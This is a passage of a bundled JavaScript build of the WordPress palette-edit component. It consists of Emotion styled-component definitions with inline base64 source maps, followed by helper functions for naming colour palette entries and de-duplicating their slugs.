iApYFxuXHQmJiB7XG5cdFx0ZmxleC1zaHJpbms6IDA7XG5cdFx0d2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE5hbWVJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHQkeyBJbnB1dENvbnRyb2xDb250YWluZXIgfSB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmdyYXlbIDEwMCBdIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdCR7IElucHV0IH0keyBJbnB1dCB9JHsgSW5wdXQgfSR7IElucHV0IH0ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggOCApIH07XG5cdFx0fVxuXHRcdCR7IElucHV0QmFja2Ryb3BVSSB9JHsgSW5wdXRCYWNrZHJvcFVJIH0keyBJbnB1dEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYW1lQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0bWFyZ2luLWxlZnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5gO1xuXG5leHBvcnQgY29uc3QgUGFsZXR0ZUhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdCYmJiB7XG5cdFx0Zm9udC1zaXplOiAxMXB4O1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlQWN0aW9uc0NvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdENvbnRlbnRzID0gc3R5bGVkKCBWaWV3IClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdFN0eWxlcyA9IHN0eWxlZCggVmlldyApYFxuXHQmJiYge1xuXHRcdC5jb21wb25lbnRzLWJ1dHRvbi5oYXMtaWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IDA7XG5cdFx0XHRwYWRkaW5nOiAwO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IERvbmVCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJlbW92ZUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmIHtcblx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMSApIH07XG5cdH1cbmA7XG4iXX0= */"));
37565 var PaletteEditContents = /* @__PURE__ */ createStyled(component_default, false ? {
37566 target: "e1lpqc903"
37567 } : {
37568 target: "e1lpqc903",
37569 label: "PaletteEditContents"
37570 })("margin-top:", space(2), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrRWlEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi9idXR0b24nO1xuaW1wb3J0IHsgSGVhZGluZyB9IGZyb20gJy4uL2hlYWRpbmcnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi92aWV3JztcbmltcG9ydCBJbnB1dENvbnRyb2wgZnJvbSAnLi4vaW5wdXQtY29udHJvbCc7XG5pbXBvcnQge1xuXHRDb250YWluZXIgYXMgSW5wdXRDb250cm9sQ29udGFpbmVyLFxuXHRJbnB1dCxcblx0QmFja2Ryb3BVSSBhcyBJbnB1dEJhY2tkcm9wVUksXG59IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCBDb2xvckluZGljYXRvciBmcm9tICcuLi9jb2xvci1pbmRpY2F0b3InO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yU3R5bGVkID0gc3R5bGVkKCBDb2xvckluZGljYXRvciApYFxuXHQmJiB7XG5cdFx0ZmxleC1zaHJpbms6IDA7XG5cdFx0d2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE5hbWVJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHQkeyBJbnB1dENvbnRyb2xDb250YWluZXIgfSB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmdyYXlbIDEwMCBdIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdCR7IElucHV0IH0keyBJbnB1dCB9JHsgSW5wdXQgfSR7IElucHV0IH0ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggOCApIH07XG5cdFx0fVxuXHRcdCR7IElucHV0QmFja2Ryb3BVSSB9JHsgSW5wdXRCYWNrZHJvcFVJIH0keyBJbnB1dEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYW1lQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0bWFyZ2luLWxlZnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5gO1xuXG5leHBvcnQgY29uc3QgUGFsZXR0ZUhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdCYmJiB7XG5cdFx0Zm9udC1zaXplOiAxMXB4O1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlQWN0aW9uc0NvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdENvbnRlbnRzID0gc3R5bGVkKCBWaWV3IClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdFN0eWxlcyA9IHN0eWxlZCggVmlldyApYFxuXHQmJiYge1xuXHRcdC5jb21wb25lbnRzLWJ1dHRvbi5oYXMtaWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IDA7XG5cdFx0XHRwYWRkaW5nOiAwO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IERvbmVCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJlbW92ZUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmIHtcblx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMSApIH07XG5cdH1cbmA7XG4iXX0= */"));
37571 var PaletteEditStyles = /* @__PURE__ */ createStyled(component_default, false ? {
37572 target: "e1lpqc902"
37573 } : {
37574 target: "e1lpqc902",
37575 label: "PaletteEditStyles"
37576 })(false ? {
37577 name: "u6wnko",
37578 styles: "&&&{.components-button.has-icon{min-width:0;padding:0;}}"
37579 } : {
37580 name: "u6wnko",
37581 styles: "&&&{.components-button.has-icon{min-width:0;padding:0;}}/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzRStDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi9idXR0b24nO1xuaW1wb3J0IHsgSGVhZGluZyB9IGZyb20gJy4uL2hlYWRpbmcnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi92aWV3JztcbmltcG9ydCBJbnB1dENvbnRyb2wgZnJvbSAnLi4vaW5wdXQtY29udHJvbCc7XG5pbXBvcnQge1xuXHRDb250YWluZXIgYXMgSW5wdXRDb250cm9sQ29udGFpbmVyLFxuXHRJbnB1dCxcblx0QmFja2Ryb3BVSSBhcyBJbnB1dEJhY2tkcm9wVUksXG59IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCBDb2xvckluZGljYXRvciBmcm9tICcuLi9jb2xvci1pbmRpY2F0b3InO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yU3R5bGVkID0gc3R5bGVkKCBDb2xvckluZGljYXRvciApYFxuXHQmJiB7XG5cdFx0ZmxleC1zaHJpbms6IDA7XG5cdFx0d2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE5hbWVJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHQkeyBJbnB1dENvbnRyb2xDb250YWluZXIgfSB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmdyYXlbIDEwMCBdIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdCR7IElucHV0IH0keyBJbnB1dCB9JHsgSW5wdXQgfSR7IElucHV0IH0ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggOCApIH07XG5cdFx0fVxuXHRcdCR7IElucHV0QmFja2Ryb3BVSSB9JHsgSW5wdXRCYWNrZHJvcFVJIH0keyBJbnB1dEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYW1lQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0bWFyZ2luLWxlZnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5gO1xuXG5leHBvcnQgY29uc3QgUGFsZXR0ZUhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdCYmJiB7XG5cdFx0Zm9udC1zaXplOiAxMXB4O1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlQWN0aW9uc0NvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdENvbnRlbnRzID0gc3R5bGVkKCBWaWV3IClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdFN0eWxlcyA9IHN0eWxlZCggVmlldyApYFxuXHQmJiYge1xuXHRcdC5jb21wb25lbnRzLWJ1dHRvbi5oYXMtaWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IDA7XG5cdFx0XHRwYWRkaW5nOiAwO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IERvbmVCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJlbW92ZUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmIHtcblx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMSApIH07XG5cdH1cbmA7XG4iXX0= */",
37582 toString: _EMOTION_STRINGIFIED_CSS_ERROR__24
37583 });
37584 var DoneButton = /* @__PURE__ */ createStyled(button_default, false ? {
37585 target: "e1lpqc901"
37586 } : {
37587 target: "e1lpqc901",
37588 label: "DoneButton"
37589 })("&&{color:", COLORS.theme.accent, ";}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErRTBDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi9idXR0b24nO1xuaW1wb3J0IHsgSGVhZGluZyB9IGZyb20gJy4uL2hlYWRpbmcnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi92aWV3JztcbmltcG9ydCBJbnB1dENvbnRyb2wgZnJvbSAnLi4vaW5wdXQtY29udHJvbCc7XG5pbXBvcnQge1xuXHRDb250YWluZXIgYXMgSW5wdXRDb250cm9sQ29udGFpbmVyLFxuXHRJbnB1dCxcblx0QmFja2Ryb3BVSSBhcyBJbnB1dEJhY2tkcm9wVUksXG59IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCBDb2xvckluZGljYXRvciBmcm9tICcuLi9jb2xvci1pbmRpY2F0b3InO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yU3R5bGVkID0gc3R5bGVkKCBDb2xvckluZGljYXRvciApYFxuXHQmJiB7XG5cdFx0ZmxleC1zaHJpbms6IDA7XG5cdFx0d2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE5hbWVJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHQkeyBJbnB1dENvbnRyb2xDb250YWluZXIgfSB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmdyYXlbIDEwMCBdIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdCR7IElucHV0IH0keyBJbnB1dCB9JHsgSW5wdXQgfSR7IElucHV0IH0ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggOCApIH07XG5cdFx0fVxuXHRcdCR7IElucHV0QmFja2Ryb3BVSSB9JHsgSW5wdXRCYWNrZHJvcFVJIH0keyBJbnB1dEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYW1lQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0bWFyZ2luLWxlZnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5gO1xuXG5leHBvcnQgY29uc3QgUGFsZXR0ZUhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdCYmJiB7XG5cdFx0Zm9udC1zaXplOiAxMXB4O1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlQWN0aW9uc0NvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdENvbnRlbnRzID0gc3R5bGVkKCBWaWV3IClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdFN0eWxlcyA9IHN0eWxlZCggVmlldyApYFxuXHQmJiYge1xuXHRcdC5jb21wb25lbnRzLWJ1dHRvbi5oYXMtaWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IDA7XG5cdFx0XHRwYWRkaW5nOiAwO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IERvbmVCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJlbW92ZUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmIHtcblx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMSApIH07XG5cdH1cbmA7XG4iXX0= */"));
37590 var RemoveButton = /* @__PURE__ */ createStyled(button_default, false ? {
37591 target: "e1lpqc900"
37592 } : {
37593 target: "e1lpqc900",
37594 label: "RemoveButton"
37595 })("&&{margin-top:", space(1), ";}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxRjRDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi9idXR0b24nO1xuaW1wb3J0IHsgSGVhZGluZyB9IGZyb20gJy4uL2hlYWRpbmcnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi92aWV3JztcbmltcG9ydCBJbnB1dENvbnRyb2wgZnJvbSAnLi4vaW5wdXQtY29udHJvbCc7XG5pbXBvcnQge1xuXHRDb250YWluZXIgYXMgSW5wdXRDb250cm9sQ29udGFpbmVyLFxuXHRJbnB1dCxcblx0QmFja2Ryb3BVSSBhcyBJbnB1dEJhY2tkcm9wVUksXG59IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCBDb2xvckluZGljYXRvciBmcm9tICcuLi9jb2xvci1pbmRpY2F0b3InO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yU3R5bGVkID0gc3R5bGVkKCBDb2xvckluZGljYXRvciApYFxuXHQmJiB7XG5cdFx0ZmxleC1zaHJpbms6IDA7XG5cdFx0d2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE5hbWVJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHQkeyBJbnB1dENvbnRyb2xDb250YWluZXIgfSB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmdyYXlbIDEwMCBdIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdCR7IElucHV0IH0keyBJbnB1dCB9JHsgSW5wdXQgfSR7IElucHV0IH0ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggOCApIH07XG5cdFx0fVxuXHRcdCR7IElucHV0QmFja2Ryb3BVSSB9JHsgSW5wdXRCYWNrZHJvcFVJIH0keyBJbnB1dEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYW1lQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0bWFyZ2luLWxlZnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5gO1xuXG5leHBvcnQgY29uc3QgUGFsZXR0ZUhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdCYmJiB7XG5cdFx0Zm9udC1zaXplOiAxMXB4O1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlQWN0aW9uc0NvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdENvbnRlbnRzID0gc3R5bGVkKCBWaWV3IClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdFN0eWxlcyA9IHN0eWxlZCggVmlldyApYFxuXHQmJiYge1xuXHRcdC5jb21wb25lbnRzLWJ1dHRvbi5oYXMtaWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IDA7XG5cdFx0XHRwYWRkaW5nOiAwO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IERvbmVCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJlbW92ZUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmIHtcblx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMSApIH07XG5cdH1cbmA7XG4iXX0= */"));
37596
37597 // packages/components/build-module/palette-edit/index.mjs
37598 var import_jsx_runtime181 = __toESM(require_jsx_runtime(), 1);
37599 var DEFAULT_COLOR = "#000";
37600 function NameInput({
37601 value,
37602 onChange,
37603 label
37604 }) {
37605 return /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(NameInputControl, {
37606 size: "compact",
37607 label,
37608 hideLabelFromVision: true,
37609 value,
37610 onChange
37611 });
37612 }
37613 function deduplicateElementSlugs(elements2) {
37614 const slugCounts = {};
37615 return elements2.map((element) => {
37616 let newSlug;
37617 const {
37618 slug
37619 } = element;
37620 slugCounts[slug] = (slugCounts[slug] || 0) + 1;
37621 if (slugCounts[slug] > 1) {
37622 newSlug = `${slug}-${slugCounts[slug] - 1}`;
37623 }
37624 return {
37625 ...element,
37626 slug: newSlug ?? slug
37627 };
37628 });
37629 }
37630 function getNameAndSlugForPosition(elements2, slugPrefix) {
37631 const nameRegex = new RegExp(`^${slugPrefix}color-([\\d]+)$`);
37632 const position2 = elements2.reduce((previousValue, currentValue) => {
37633 if (typeof currentValue?.slug === "string") {
37634 const matches = currentValue?.slug.match(nameRegex);
37635 if (matches) {
37636 const id3 = parseInt(matches[1], 10);
37637 if (id3 >= previousValue) {
37638 return id3 + 1;
37639 }
37640 }
37641 }
37642 return previousValue;
37643 }, 1);
37644 return {
37645 name: (0, import_i18n35.sprintf)(
37646 /* translators: %d: is an id for a custom color */
37647 (0, import_i18n35.__)("Color %d"),
37648 position2
37649 ),
37650 slug: `${slugPrefix}color-${position2}`
37651 };
37652 }
37653 function ColorPickerPopover({
37654 isGradient,
37655 element,
37656 onChange,
37657 popoverProps: receivedPopoverProps,
37658 onClose = () => {
37659 }
37660 }) {
37661 const popoverProps = (0, import_element115.useMemo)(() => ({
37662 shift: true,
37663 offset: 20,
37664 // Disabling resize as it would otherwise cause the popover to show
37665 // scrollbars while dragging the color picker's handle close to the
37666 // popover edge.
37667 resize: false,
37668 placement: "left-start",
37669 ...receivedPopoverProps,
37670 className: clsx_default("components-palette-edit__popover", receivedPopoverProps?.className)
37671 }), [receivedPopoverProps]);
37672 return /* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(popover_default, {
37673 ...popoverProps,
37674 onClose,
37675 children: [!isGradient && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(LegacyAdapter, {
37676 color: element.color,
37677 enableAlpha: true,
37678 onChange: (newColor) => {
37679 onChange({
37680 ...element,
37681 color: newColor
37682 });
37683 }
